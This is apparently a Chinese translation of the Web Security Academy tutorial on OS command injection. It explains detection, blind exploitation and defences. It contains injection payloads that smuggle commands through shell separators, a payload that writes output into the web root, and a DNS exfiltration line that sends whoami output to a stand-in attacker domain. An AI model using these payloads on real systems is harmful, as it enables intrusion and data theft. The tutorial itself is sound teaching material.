Web安全学院
Web安全学院
  • 首页
  • 译序
  • 学习路线
  • 前篇
    • Web应用程序安全测试
    • 动态应用程序安全测试(DAST)
    • 带外应用程序安全测试(OAST)
  • 服务器端主题
    • SQL注入
      • SQL注入
      • SQL注入UNION攻击
      • 在SQL注入攻击中检索数据库
      • SQL盲注
      • SQL注入速查表
    • 认证
      • 认证漏洞
      • 基于密码登录中的漏洞
      • 多因素认证中的漏洞
      • 其他认证机制中的漏洞
      • 如何保护你的认证机制
    • 目录遍历
      • 目录遍历
    • 命令注入
      • OS命令注入
    • 业务逻辑漏洞
      • 业务逻辑漏洞
      • 业务逻辑漏洞示例
    • 信息泄露
      • 信息泄露漏洞
      • 如何发现并利用信息泄露漏洞
    • 访问控制
      • 访问控制漏洞与权限提升
      • 不安全的直接对象引用(IDOR)
      • 访问控制安全模型
    • 文件上传漏洞
      • 文件上传漏洞
    • 条件竞争
      • 条件竞争
    • 服务器端请求伪造(SSRF)
      • 服务器端请求伪造(SSRF)
      • 盲SSRF漏洞
    • XXE注入
      • XML外部实体(XXE)注入
      • XML实体
      • 发现并利用盲XXE漏洞
  • 客户端主题
    • 跨站脚本(XSS)
      • 跨站脚本
      • 反射型XSS
      • 存储型XSS
      • 基于DOM的XSS
      • XSS上下文
        • 跨站脚本上下文
        • 客户端模版注入
      • 利用跨站脚本漏洞
      • 内容安全策略
      • 悬空标记注入
      • 如何防范XSS漏洞
      • 跨站脚本(XSS)速查表
    • 跨站请求伪造(CSRF)
      • 跨站请求伪造(CSRF)
      • XSS与CSRF
      • 绕过CSRF令牌验证
      • 绕过SameSite Cookie限制
      • 绕过基于Referer的CSRF防御
      • 如何防范CSRF漏洞
    • 跨域资源共享(CORS)
      • 跨域资源共享(CORS)
      • 同源策略(SOP)
      • CORS和Access-Control-Allow-Origin响应标头
    • 点击劫持
      • 点击劫持(UI伪装)
    • 基于DOM的漏洞
      • 基于DOM的漏洞
      • 控制Web消息源
      • 基于DOM的开放重定向
      • 基于DOM的Cookie操纵
      • 基于DOM的JavaScript注入
      • 基于DOM的document-domain操纵
      • 基于DOM的WebSocket URL投毒
      • 基于DOM的链接操纵
      • Web消息操纵
      • 基于DOM的Ajax请求标头操纵
      • 基于DOM的本地文件路径操纵
      • 基于DOM的客户端SQL注入
      • 基于DOM的HTML5 Storage操纵
      • 基于DOM的客户端XPath注入
      • 基于DOM的客户端JSON注入
      • DOM-data操纵
      • 基于DOM的拒绝服务
      • DOM破坏
    • WebSocket
      • 测试WebSocket安全漏洞
      • 什么是WebSocket?
      • 跨站WebSocket劫持
  • 进阶主题
    • 不安全的反序列化
      • 不安全的反序列化
      • 利用不安全的反序列化漏洞
    • 测试GraphQL API
      • 测试GraphQL API
      • 什么是GraphQL?
    • 服务器端模板注入
      • 服务器端模板注入
      • 利用服务器端模板注入漏洞
    • Web缓存投毒
      • Web缓存投毒
      • 缓存设计缺陷的利用
      • 缓存实现缺陷的利用
    • HTTP Host标头攻击
      • HTTP Host标头攻击
      • 如何识别和利用HTTP Host头的漏洞
      • 密码重置投毒
    • HTTP请求走私
      • HTTP请求走私
      • 查找HTTP请求走私漏洞
      • 利用HTTP请求走私漏洞
      • 高级请求走私
        • 高级请求走私
        • HTTP/2降级
        • 响应队列投毒
        • HTTP/2专属载体
        • HTTP请求隧道
      • 浏览器驱动的请求伪造
        • 浏览器驱动的请求伪造
        • CL.0请求走私
        • 客户端异步攻击
        • 基于暂停的异步攻击
    • OAuth认证
      • OAuth 2.0认证漏洞
      • OAuth授权类型
      • OpenID Connect
      • 如何防范OAuth认证漏洞
    • JWT攻击
      • JWT攻击
      • 在Burp Suite中使用JWT
      • 算法混淆攻击
    • 原型污染
      • 什么是原型污染?
      • JavaScript原型和继承
      • 客户端
        • 客户端原型污染漏洞
        • 通过浏览器API进行原型污染
      • 服务器端
        • 服务器端原型污染
      • 预防原型污染漏洞
    • 基本技能
      • 基本技能
      • 使用编码混淆攻击
      • 在手动测试中使用Burp Scanner
Powered by GitBook
On this page
  • 什么是OS命令注入?
  • 执行任意命令
  • 有用的命令
  • OS命令盲注漏洞
  • 使用时间延迟检测OS命令盲注
  • 通过重定向输出来利用OS命令盲注
  • 使用带外(OAST)技术来利用OS命令盲注
  • 注入OS命令的方式
  • 如何防范OS命令注入攻击
  1. 服务器端主题
  2. 命令注入

OS命令注入

Previous命令注入Next业务逻辑漏洞

Last updated 1 year ago

在本节中,我们将讲解什么是OS命令注入,描述如何检测和利用漏洞,列出一些针对不同操作系统有用的命令和技巧,以及总结如何防止OS命令注入。

Labs

如果你已经熟悉OS命令注入漏洞背后的基本概念,并只想在一些现实的,故意易受攻击的目标上练习利用它们,你可以从下面的链接访问本主题中的所有实验。

什么是OS命令注入?

OS命令注入(也称为shell注入)是一种Web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全破坏应用程序及其所有数据。很多时候,攻击者可以利用OS命令注入漏洞来危害托管基础设施的其他部分,利用信任关系将攻击转向组织内的其他系统。

执行任意命令

考虑一个购物应用,它允许用户查看特定商店中的商品是否有库存。这些信息可以通过如下URL访问:

https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供库存信息,应用程序必须查询各种遗留系统。出于历史原因,该功能是通过调用一个带有产品和商店ID作为参数的shell命令来实现的:

stockreport.pl 381 29

该命令输出指定物品的库存状态,然后返回给用户。

由于该应用程序没有针对OS命令注入实现防御,攻击者可以提交以下输入来执行任意命令:

& echo aiwefwlguh &

如果这个输入在productID参数中提交,那么应用程序执行的命令是:

stockreport.pl & echo aiwefwlguh & 29

echo命令只是使提供的字符串在输出中回显,它是测试某些类型的OS命令注入的有用方法。&字符是一个shell命令分隔符,因此实际执行的是相继的三个连续的独立命令。因此,返回给用户的输出是:

Error - productID was not provided
aiwefwlguh
29: command not found

输出的三行表明:

  • 原始的stockreport.pl命令在没有预期参数的情况下被执行,因此返回了一个错误消息。

  • 注入的echo命令被执行,并且提供的字符串在输出中被回显。

  • 原始参数29被作为命令执行,这导致了一个错误。

在注入的命令后面添加额外的命令分隔符&通常很有用的,因为它将注入的命令与注入点后面的内容分开。这减少了后续的内容会阻止注入命令执行的可能性。

LAB

有用的命令

当你已经识别出一个OS命令注入漏洞时,通常有用的是执行一些初始命令以获取你已危害的系统的信息。下面是在Linux和Windows平台上一些有用的命令的摘要:

命令的目的
Linux
Windows

当前用户名

whoami

whoami

操作系统

uname -a

ver

网络配置

ifconfig

ipconfig /all

网络连接

netstat -an

netstat -an

正在运行的进程

ps -ef

tasklist

OS命令盲注漏洞

OS命令注入的很多实例都是盲注漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。盲注漏洞仍然可以被利用,但需要不同的技术。

考虑一个允许用户对网站提供反馈的网站。用户输入他们的电子邮件地址和反馈信息。服务器端应用程序然后生成一封包含反馈的电子邮件发送给网站管理员。为了做到这一点,它把提交的详细信息调用给mail程序。例如:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail命令的输出(如果有的话)不在应用程序的响应中返回,因此使用echo有效载荷不会有效。在这种情况下,你可以使用各种其他技术来检测和利用漏洞。

使用时间延迟检测OS命令盲注

你可以使用一个将触发时间延迟的注入命令,根据应用程序响应所需的时间来确认该命令已被执行。ping命令是执行此操作的一种有效方式,因为它允许你指定要发送的ICMP包的数量,从而指定命令运行所需的时间:

& ping -c 10 127.0.0.1 &

这个命令将导致应用程序对其环回网络适配器进行10秒左右[1]的ping。

LAB

通过重定向输出来利用OS命令盲注

你可以将注入命令的输出重定向到Web根目录下的一个文件,然后使用浏览器检索该文件。例如,如果应用程序从文件系统位置/var/www/static提供静态资源,那么你可以提交以下输入:

& whoami > /var/www/static/whoami.txt &

>字符将whoami命令的输出发送到指定的文件。然后,你可以使用浏览器获取https://vulnerable-website.com/whoami.txt来检索该文件,并查看注入命令的输出。

LAB

使用带外(OAST)技术来利用OS命令盲注

你可以使用一个注入命令,该命令将使用OAST技术触发一个与你控制的系统的带外网络交互。使用OAST技术。例如:

& nslookup kgji2ohoyw.web-attacker.com &

此有效载荷使用nslookup命令引发对指定域的DNS查找。攻击者可以监视指定查找是否发生,从而检测到命令已成功注入。

LAB

带外通道也提供了一个简单的方式来外泄注入命令的输出:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

这将导致对攻击者的域进行DNS查询,其中包含whoami命令的结果:

wwwuser.kgji2ohoyw.web-attacker.com

LAB

注入OS命令的方式

可以使用各种shell元字符来进行OS命令注入攻击。

许多字符作为命令分隔符,允许命令被链接在一起。以下命令分隔符在Windows和基于Unix的系统上都有效:

  • &

  • &&

  • |

  • ||

以下命令分隔符只在基于Unix的系统上有效:

  • ;

  • 换行符( 0x0a )

在基于Unix的系统上,你还可以使用反引号或美元字符在原始命令中执行注入命令的内联执行:

  • `
    注入命令`
  • $(
    注入命令)

注意,不同的shell元字符具有微妙的不同行为,这些行为可能会影响它们在某些情况下是否有效,以及它们是否允许带内检索命令输出,或者只对盲注利用有用。

有时,你控制的输入出现在原始命令的引号内。在这种情况下,你需要在使用适当的shell元字符注入一个新的命令之前终止引号上下文(使用"或')。

如何防范OS命令注入攻击

迄今为止,防范OS命令注入漏洞最有效的方法是,永远不要从应用层代码调用OS命令。几乎在所有的情况下,都有其他更安全的平台API可以用来实现所需的功能。

如果认为无法避免使用用户提供的输入来调用OS命令,那么就必须进行严格的输入验证。一些有效的验证例子包括:

  • 根据允许值的白名单进行验证。

  • 验证输入是否为数字。

  • 验证输入是否只包含字母数字字符,没有其他语法或空格。

永远不要尝试通过转义shell元字符来对输入进行清理。在实践中,这种方法太容易出错,并且容易被熟练的攻击者绕过。

阅读更多

译者注:

[1] 在类Unix系统中,ping命令-c参数指定的是发送ICMP包的数量,连续两次发送ICMP包之间的默认时间间隔为1秒,所以-c指定为10的时候,所花费的时间就为9秒,算上其他时间,差不多就是10秒左右。

OS命令注入,简单情况
带时间延迟的OS命令盲注
带输出重定向的OS命令盲注
带外交互的OS命令盲注
带外数据外泄的OS命令盲注
使用Burp Suite的Web漏洞扫描器发现OS命令注入漏洞
阅读PortSwigger Research在44Con和BSides Manchester会议上狩猎异步漏洞演讲的文章
查看所有OS命令注入实验